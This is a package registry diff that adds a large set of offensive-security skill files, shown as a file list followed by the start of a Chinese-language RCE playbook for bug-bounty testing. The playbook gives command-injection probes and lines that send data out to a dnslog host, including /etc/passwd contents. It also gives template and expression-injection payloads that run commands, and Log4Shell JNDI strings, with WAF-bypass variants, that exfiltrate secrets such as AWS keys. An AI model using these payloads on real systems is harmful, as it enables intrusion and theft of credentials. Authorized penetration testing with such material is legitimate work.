opencode-skills-collection 4.0.43 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,4829 @@
|
|
|
1
|
+
# 远程代码执行 (RCE)
|
|
2
|
+
|
|
3
|
+
> ⚠️ Security notice: examples below may include download-and-execute patterns, shown for defensive understanding and authorized testing only. Never run them against systems you do not own.
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
> 视角:黑盒,单包打穿是首选;带外回显是无回显场景的救命稻草
|
|
7
|
+
|
|
8
|
+
## 1. 一句话说清
|
|
9
|
+
|
|
10
|
+
RCE = 在目标服务器上执行任意命令。
|
|
11
|
+
SRC 价值:**所有漏洞类型中最高**,未授权 RCE 通常 $5k–$50k+。
|
|
12
|
+
两条路:(a) 命令注入(拼接系统命令);(b) 反序列化 / 表达式注入(运行时 evaluate)。
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## 2. 高频入口点(统计 + 类别)
|
|
17
|
+
|
|
18
|
+
### 2.1 框架 / 中间件类(指纹漏洞)
|
|
19
|
+
|
|
20
|
+
| 类型 | 案例数 | 入口指纹 |
|
|
21
|
+
|------|------|---------|
|
|
22
|
+
| Struts2 | 23 | URL 含 `.action`、`.do`,响应 `Server: Apache-Coyote` |
|
|
23
|
+
| WebLogic | 5 | 7001 端口 + `/console/` |
|
|
24
|
+
| JBoss | 9 | `/jmx-console/`、`/invoker/` |
|
|
25
|
+
| Tomcat | 9 | 8080 + `/manager/html` |
|
|
26
|
+
| Spring | 4 | `Server: spring`、`X-Application-Context` |
|
|
27
|
+
| ElasticSearch | 8 | 9200 + Lucene 1.x |
|
|
28
|
+
| Fastjson | - | 响应 / 错误页含 `com.alibaba.fastjson` |
|
|
29
|
+
| Log4j | - | 处处可能(任何日志记录的输入点) |
|
|
30
|
+
| Redis | 4 | 6379(详见 unauth-access) |
|
|
31
|
+
| Jenkins | - | 8080 + `/manage`、`/script` |
|
|
32
|
+
| Zabbix | 2 | 80 + `Zabbix SIA` |
|
|
33
|
+
|
|
34
|
+
### 2.2 命令注入入口(功能特征)
|
|
35
|
+
|
|
36
|
+
| 功能 | 案例数 | 参数 |
|
|
37
|
+
|------|------|------|
|
|
38
|
+
| 网络诊断(ping / nslookup / traceroute) | 13 | `host`、`ip`、`target` |
|
|
39
|
+
| 文件操作(解压 / 转换) | 34 | `filename`、`path` |
|
|
40
|
+
| 图片处理 | 12 | `image`、`file` |
|
|
41
|
+
| URL 抓取 | 12 | `url`、`callback` |
|
|
42
|
+
| DNS 查询 | 8 | `domain` |
|
|
43
|
+
| 备份 / 任务调度 | - | `cmd`、`task`、`job` |
|
|
44
|
+
|
|
45
|
+
### 2.3 反序列化入口
|
|
46
|
+
|
|
47
|
+
```
|
|
48
|
+
# Java
|
|
49
|
+
Cookie / Authorization 含 base64 二进制(rO0AB 开头 = Java 序列化)
|
|
50
|
+
ViewState(ASP.NET)
|
|
51
|
+
__viewstate / __eventvalidation
|
|
52
|
+
sessionid 含 Java 序列化数据
|
|
53
|
+
|
|
54
|
+
# PHP
|
|
55
|
+
unserialize() 接受用户输入(O:8: 开头)
|
|
56
|
+
phar:// 协议触发自动反序列化
|
|
57
|
+
|
|
58
|
+
# Python
|
|
59
|
+
pickle.loads() 接受用户输入
|
|
60
|
+
yaml.load() 不安全调用
|
|
61
|
+
|
|
62
|
+
# Ruby
|
|
63
|
+
Marshal.load() 接受 cookie / 参数
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## 3. 探测手法
|
|
69
|
+
|
|
70
|
+
### 3.1 命令注入探针表
|
|
71
|
+
|
|
72
|
+
```bash
|
|
73
|
+
# 拼接符
|
|
74
|
+
target=127.0.0.1; id
|
|
75
|
+
target=127.0.0.1| id
|
|
76
|
+
target=127.0.0.1|| id
|
|
77
|
+
target=127.0.0.1 && id
|
|
78
|
+
target=127.0.0.1 & id
|
|
79
|
+
target=127.0.0.1 `id`
|
|
80
|
+
target=127.0.0.1 $(id)
|
|
81
|
+
target=127.0.0.1%0aid # URL 换行
|
|
82
|
+
target=127.0.0.1%0d%0aid
|
|
83
|
+
|
|
84
|
+
# 时间盲(无回显时)
|
|
85
|
+
target=127.0.0.1; sleep 5
|
|
86
|
+
target=127.0.0.1 && ping -c 5 127.0.0.1
|
|
87
|
+
target=127.0.0.1 || sleep 5
|
|
88
|
+
|
|
89
|
+
# DNSLog 外带
|
|
90
|
+
target=127.0.0.1;ping -c 1 `whoami`.xxx.dnslog.cn
|
|
91
|
+
target=127.0.0.1;curl `cat /etc/passwd|base64|tr -d '\n'`.xxx.dnslog.cn
|
|
92
|
+
|
|
93
|
+
# Windows
|
|
94
|
+
target=127.0.0.1 & whoami
|
|
95
|
+
target=127.0.0.1 | whoami
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
### 3.2 模板注入 / 表达式注入探针
|
|
99
|
+
|
|
100
|
+
| 技术 | 探针 | 命中后 |
|
|
101
|
+
|------|------|------|
|
|
102
|
+
| SSTI(Jinja2) | `{{7*7}}` → 49 | `{{config}}`、`{{request.application.__globals__}}` |
|
|
103
|
+
| SSTI(Twig) | `{{7*7}}` → 49 | `{{_self.env.registerUndefinedFilterCallback("system")}}` |
|
|
104
|
+
| SSTI(Freemarker) | `${7*7}` → 49 | `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}` |
|
|
105
|
+
| SSTI(Velocity) | `#set($x=7*7)$x` → 49 | Runtime.exec |
|
|
106
|
+
| SSTI(Smarty) | `{$smarty.version}` → 显示版本 | `{system('id')}` |
|
|
107
|
+
| SpEL(Spring) | `#{7*7}` 或 `${7*7}` | `T(java.lang.Runtime).getRuntime().exec("id")` |
|
|
108
|
+
| OGNL(Struts2) | `%{7*7}` | 见 Struts2 表达式 |
|
|
109
|
+
| EL(JSP) | `${7*7}` | EL injection 链 |
|
|
110
|
+
| JEXL | `7*7` 在 JEXL 上下文 | - |
|
|
111
|
+
|
|
112
|
+
### 3.3 Log4Shell 通用探针(每个输入点都试)
|
|
113
|
+
|
|
114
|
+
```
|
|
115
|
+
${jndi:ldap://${hostName}.${env:USER}.xxx.dnslog.cn/a}
|
|
116
|
+
${jndi:ldap://xxx.dnslog.cn/a}
|
|
117
|
+
${jndi:dns://xxx.dnslog.cn/a} # 不需出网 LDAP,DNS 即可
|
|
118
|
+
${jndi:rmi://xxx.dnslog.cn:1099/a}
|
|
119
|
+
|
|
120
|
+
# 绕过 WAF
|
|
121
|
+
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://x.dnslog.cn/a}
|
|
122
|
+
${${lower:j}ndi:${lower:l}dap://x.dnslog.cn/a}
|
|
123
|
+
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//x.dnslog.cn/a}
|
|
124
|
+
|
|
125
|
+
# 带数据外带
|
|
126
|
+
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.x.dnslog.cn/a}
|
|
127
|
+
${jndi:ldap://${sys:java.version}.x.dnslog.cn/a}
|
|
128
|
+
${jndi:ldap://${env:USER}.x.dnslog.cn/a}
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
**插入点**:每一个**会被记日志**的字段都打:
|
|
132
|
+
- `User-Agent`
|
|
133
|
+
- `Referer`
|
|
134
|
+
- `X-Forwarded-For`
|
|
135
|
+
- `X-Api-Version`
|
|
136
|
+
- `Cookie`
|
|
137
|
+
- 用户名 / 邮箱字段
|
|
138
|
+
- 上传文件名
|
|
139
|
+
- chat / comment / search 关键词
|
|
140
|
+
|
|
141
|
+
### 3.4 反序列化探针
|
|
142
|
+
|
|
143
|
+
```bash
|
|
144
|
+
# Java(ysoserial)
|
|
145
|
+
java -jar ysoserial-all.jar URLDNS "http://xxx.dnslog.cn"
|
|
146
|
+
# 把生成的 base64 放到 Cookie / ViewState / Authorization
|
|
147
|
+
|
|
148
|
+
# 验证 Java 序列化
|
|
149
|
+
echo "input" | base64 -d | xxd | head -1 # security-allowlist: SEC008
|
|
150
|
+
# rO0AB 开头 = Java serialized
|
|
151
|
+
|
